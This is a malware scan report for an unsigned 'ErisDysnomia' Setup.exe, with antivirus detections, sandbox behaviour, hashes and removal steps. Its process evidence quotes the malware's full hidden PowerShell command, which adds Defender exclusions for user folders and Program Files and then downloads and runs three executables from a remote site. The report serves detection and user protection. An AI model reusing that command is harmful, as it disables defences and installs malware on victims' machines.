MalwareTipsTools

File scan report

Verdict Malicious

Analyzed , 1 day ago

Is Setup.exe safe? No, we rate this exact file malicious.

Unsigned installer launches a hidden PowerShell script that whitelists user folders in the antivirus, then downloads and runs further executables; nine major antivirus engines…

Read the whole reasonShow less

Strong evidence · Two or more major antivirus engines agree.

Don't install this file

Do not run this installer and delete it. If it was already executed, remove any antivirus exclusions it added for user folders or Program Files and run a full scan with real-time protection enabled.

What to do now4 steps

This file is harmful. Don't run it, and remove it.

If you haven't installed it

  1. Don't install this file. Delete it, then empty the Recycle Bin.

If you already installed it

  1. Disconnect the device from the internet, then run a full antivirus scan. Microsoft Defender Offline (Windows Security > Virus & threat protection > Scan options) also finds malware that hides while Windows runs.

  2. If you typed passwords on the device after running it, change them from another device you trust.

  3. If the scan keeps finding it, or the device still acts strangely, scan again with a second-opinion scanner from another company; if that doesn't fix it, back up your personal files and reinstall Windows.

If you already ran it, do these in order.

If you opened or installed it

Avoid banking and sign-ins on that device until it is clean. These free MalwareTips guides walk you through it.

Paste this report's link in your topic so helpers can see what was found.

Antivirus results

34 of 67 flagged

  • Flagged 34
  • No detection 33
  • No result 7
FileSetup.exe70.4 MBSHA-256 de5b18dc8347…df0d18
  • Code signing Unsigned
  • Test run Completed
  • First seen 1y ago
1 strong detection rule matched this file.

Chapter 02

Why we think so

7 points against it and 2 in its favour, checked against the scan evidence.

MT AI Engine · Verdict analysis

The reasoning behind this verdict

Analyst conclusion

The file is a large installer wrapper, and the sandbox runs recorded a hidden PowerShell command that adds antivirus exclusion paths for user folders and Program Files, then fetches and starts further binaries from a remote site. Nine major antivirus engines and 34 of 74 overall flag it as a PowerShell downloader, with Kaspersky naming the Powedon family.

Where this verdict could be wrong3 caveats
  • The combined label across the sandbox runs came back clean, so the hostile behaviour was captured in the recorded process activity rather than in an automated malicious sandbox ruling.
  • None of the observed network contacts resolved to a host already known bad, and no dropped file we hold a verdict for came back malicious — the payload downloads very likely happened beyond the short observation window.
  • The five earlier reports on files built with a similar import table include two clean, widely distributed programs, showing that installer frameworks alone say nothing about intent.

These are the assessment's weak points. If you believe one applies to your file, report the verdict and we'll re-review it.

6 sources checked · all complete. See every source

Chapter 03

What it did in our test

It ran in 6 isolated tests; no test environment rated what it did as risky.

Test run summary

Capture complete
  • 6isolated sandbox runs
  • 31sandbox rule tags
  • 11spawned processes
  • 1network contact
  • 35filesystem & mutex artifacts

What the test run showed

What the file did on a test computer

Confirmed in the test run

  • High concern: Switched off or weakened security settings on the test computer.

  • Moderate concern: Contains packed or scrambled code that is harder to inspect (common in installers too).

  • Moderate concern: Ran commands or a script on the test computer.

  • Moderate concern: Checked whether it was running on a test computer.

  • Moderate concern: Hid files or windows on the test computer.

  • Note: Read the user name of the test computer.

  • Note: Talked to servers over the internet during the test run.

Sandbox labels we could not confirm (common in safe files too)

  • Not confirmed: A sandbox rule tagged this run as code injection, but no injected program was recorded.

  • Not confirmed: A sandbox rule tagged this run as changing how Windows loads code; nothing confirms it.

This file was run on a test computer (a sandbox), not on yours. Labels we could not confirm are listed so you can see them, but they are not treated as evidence against the file.

Threat context

How downloaders work

This file is a delivery vehicle. On its own it can look small and harmless, but its job is to fetch and install the real payload, often a password stealer, ransomware or a bot, from a server the attacker controls.

Bottom line:Because the dangerous part arrives later, early scans can look cleaner than the threat really is.

Recorded behavior

What happened in the test

Grouped by step. The order is not a timeline.

Seen in the test runWorked out from other results
  1. Input file

    The submitted object

    1
    1. Evidence 1 of 6: FileSeen in the test run

      Setup.exe

      de5b18dc834786a7014daad5b099d1912e30007eab9c672b7501fd1937df0d18

      Uploaded file
  2. Processes

    What ran

    2
    1. Evidence 2 of 6: ProcessSeen in the test run

      net

      net session

      Test run
    2. Evidence 3 of 6: ProcessSeen in the test run

      powershell

      powershell -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users;Add-MpPreference -ExclusionPath $env:ProgramFiles;cd C:\Users\Public;Invoke-WebRequest https://jeuxviddeo.com/V1 -OutFile V1.exe;./V1.exe;Invoke-WebRequest https://jeuxviddeo.com/Q -OutFile Q.exe;./Q.exe;Invoke-WebRequest https://jeuxviddeo.com/A -OutFile A.exe;./A.exe;exit

      Test run
    3. +1 more recorded observation
  3. Files

    Created or changed

    2
    1. Evidence 4 of 6: Written fileSeen in the test run

      Setup.tmp

      C:\Users\<USER>\AppData\Local\Temp\is-8451N.tmp\Setup.tmp

      Test run
    2. Evidence 5 of 6: Written fileSeen in the test run

      _setup64.tmp

      C:\Users\<USER>\AppData\Local\Temp\is-SR9I3.tmp\_isetup\_setup64.tmp

      Test run
    3. +1 more recorded observation
  4. Network

    Hosts contacted

    1
    1. Evidence 6 of 6: Contacted hostSeen in the test run

      23.219.78.81

      Contacted during the test run.

      Test run

6 facts from the test run. See the full activity list.

Chapter 04

Technical details

34 of the 67 antivirus engines that checked it flag it; no publisher signature.

Sources checked

Every check behind this verdict

6 sources checked · all complete. Complete means the check returned a usable result; it does not mean the file is safe.

SourceStatusResultChecked
Antivirus enginesVirusTotal · 74 enginesCompleteRisk signal: 34 of 67 engines flagged it · 7 gave no result Details for antivirus engines
Sandbox runVirusTotal sandboxes · C2AE, CAPA, CAPE SandboxComplete6 runs: 1 clean, 5 without a verdict Details for sandbox run
Contacted hostsMalwareTips URL scannerComplete6 contacted hosts checked Details for contacted hosts
Signature rulesYARAify community rules + MalwareTips rulesCompleteRisk signal: 3 MalwareTips behaviour rules Details for signature rules
Malware sample databaseabuse.ch MalwareBazaarCompleteNot listed
Known-software referenceCIRCL hashlookupCompleteNo match

Engines that flagged it 34

  • Avast (major engine)Win32:Malware-gen
  • AVG (major engine)Win32:Malware-gen
  • Avira (major engine)TR/Dldr.Agent.dxahl
  • BitDefender (major engine)QD:Trojan.GenericKDQ.5DA05CB54D
  • DrWeb (major engine)VBS.DownLoader.3489
  • Emsisoft (major engine)QD:Trojan.GenericKDQ.5DA05CB54D (B)
  • ESET-NOD32 (major engine)PowerShell/TrojanDownloader.Agent.KKA trojan
  • F-Secure (major engine)Trojan.TR/Dldr.Agent.dxahl
26 more in the full engine list

File fingerprint

Last analyzed
Nov 5, 2026, 6:21 PM UTC
SHA-256
de5b18dc834786a7014daad5b099d1912e30007eab9c672b7501fd1937df0d18
SHA-1
0ff35ae63b535af1ab494e6d2ae10de8991b7902
MD5
1c839190613f984f28d17161faf2a2b6

About this file

Setup.exe says it is ErisDysnomia Setup (ErisDysnomia), 70.4 MB.

Claims to be
ErisDysnomia Setup (ErisDysnomia)From the file's own version information, written by whoever built it.
Type and size
Win32 EXE · 70.4 MB
Signer
UnsignedNo code signature.
First seen
Jan 11, 2025On VirusTotal.
Submitted by
11 distinct sources
Packer
None detected
Entropy
5.86 of 8

First scanned

Chapter 05

Questions & answers

Short answers to the 8 questions people ask most about this file.

Is Setup.exe malware?
Yes. This copy of Setup.exe (SHA-256 de5b18dc…0d18) is malicious. Other files with the same name can be different, so check the hash. Don't install it. Delete it, then empty the Recycle Bin. 34 of the 67 antivirus engines that checked it flag it, some as Powedon. Antivirus engines classify it as a downloader whose job is to fetch more malware onto the device. If you've already installed it, see the steps below.
What is Setup.exe?
Setup.exe is a software installer, about 70.4 MB. Its version information says it is “ErisDysnomia Setup” (ErisDysnomia). Version information is written by whoever built the file, so it is a claim, not proof of who made it. VirusTotal first saw it on Jan 11, 2025.
How many antivirus engines detected Setup.exe?
34 of the 67 antivirus engines that checked it flag Setup.exe, including Kaspersky and ESET. We weigh which engines flagged it and what else the scan found, not just the count. The rating comes from all the evidence together, not from this count alone.
I already downloaded and installed Setup.exe — what should I do?
Act quickly. 1) Disconnect the device from the internet. 2) Run a full scan with your antivirus and let it remove what it finds. 3) Change your important passwords from another device you trust, starting with email and banking, and turn on two-step verification. 4) If you bank or shop on this device, watch your accounts and tell your bank about payments you don't recognise. 5) If the scan keeps finding it, back up your personal files and reinstall Windows.
How do I remove Setup.exe?
To remove Setup.exe: 1) run a full scan with your antivirus and let it remove what it finds. 2) Delete it, then empty the Recycle Bin. 3) Check Settings > Apps, your browser extensions, startup apps (Task Manager > Startup apps) and scheduled tasks for anything you don't recognise. 4) Restart and scan again. If it keeps coming back, scan from Safe Mode with Networking, or back up your files and reinstall Windows.
What kind of malware is Setup.exe?
Antivirus engines classify Setup.exe as a downloader whose job is to fetch more malware onto the device. Engines attribute it to the Powedon family.
What is the SHA-256 hash of Setup.exe?
The SHA-256 fingerprint of Setup.exe is de5b18dc834786a7014daad5b099d1912e30007eab9c672b7501fd1937df0d18, and its MD5 is 1c839190613f984f28d17161faf2a2b6. Two files with the same SHA-256 are identical, so use it to check you have exactly this file, not just one with the same name.
How up to date is this analysis of Setup.exe?
This report reflects the scan on Nov 5, 2026. A file's fingerprint never changes, but antivirus engines keep learning, so a rating can change later. To get a newer result, scan the file again: we refresh the antivirus results when the saved ones are out of date.
Chapter 06

Community

Member reviews and reports for this exact file hash.

Other files people checked with the same name. A matching name does not make two files the same: only the SHA-256 fingerprint identifies a file.

All file reports
This report and its SHA-256 fingerprint are public, so the next person who checks the same file gets an instant answer; documents and images are listed by type instead of their file name. A file we had not seen before is uploaded to VirusTotal, whose security partners and subscribers can download it; MalwareTips deletes its own copy after the scan. If you ran this file and are worried, scan your device with up-to-date security software.